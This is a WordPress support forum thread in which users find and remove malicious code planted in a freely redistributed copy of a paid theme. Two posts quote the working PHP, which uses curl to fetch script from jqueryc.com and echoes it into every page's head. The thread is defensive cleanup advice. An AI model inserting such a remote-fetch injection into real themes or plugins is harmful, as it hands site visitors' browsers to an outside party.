few days ago, some one also got this issue.
1. it could be from plugins
2. or your theme
3. or the worst, got hacked.
How to analyze ?
1. Disable all plugins, still get the issue ?
2. Use default theme, like twentyeleven. Stil get this again ?
3. Re-install your wordpress (via your wp-admin area, update section) or replace all wordpress core files via FTP or cpanel.
4. Still get this ? let me think first… Check your files one-by-one.
Don’t forget to change your wordpress admin password (all accounts with admin role) also change your host cpanel password (cpanel, ftp,.. all of them).
Thread Starter
Felipe
(@felipemaciel)
I found the malicious call line in the “functions.php” theme.
include'include/plugin/post.php'; // post function
and content of the supposed “post.php” is:
<?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>
hey man, I’m so happy to find your post! I have the exact same problem! I see yours is fixed! How did you do it? how?? I found the “functions.php” file…?
Please help me?
Thanks 🙂
Thread Starter
Felipe
(@felipemaciel)
What is your theme? What is your site?
I think its the same theme that you are using..
Its blank and empty at the moment:
This is the address:
Thread Starter
Felipe
(@felipemaciel)
You would find the malicious code in that file “modernize/include/plugin/post.php”
I replaced the contents of that post.php file by a empty php:
<?php
/*
* Post file
* ---------------------------------------------------------------------
* This file is empty
* just for replacement.
* ---------------------------------------------------------------------
*/
?>
(don’t exclude the file, just change the content)
Hey man I wanna thank you SOOOO much I didn’t know where to look anymore! Really appreciate the help you gave me!! Why did this happen all of a sudden ? Where did it come from? How did you find it? There so much code?
Thread Starter
Felipe
(@felipemaciel)
This script was previously inserted by the person who posted (for free) this theme. (Not by the creator of the theme, which sells its theme).
Think you could take a look at my site? I am having the exact same problem! That would be great!
http://www.skibrule.hostzi.com
Thread Starter
Felipe
(@felipemaciel)
@nrichardson
In the theme folder, locate the “functions.php” and delete the follow lines (24-26)
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} if(!defined('WP_THEME_URL')) {
define( 'WP_THEME_URL', get_template_directory_uri());
}
Hola felipe tengo el mismo problema pero no encuentro el código que me muestras ayuda please que no se donde buscar.
http://cultmoviez.info/
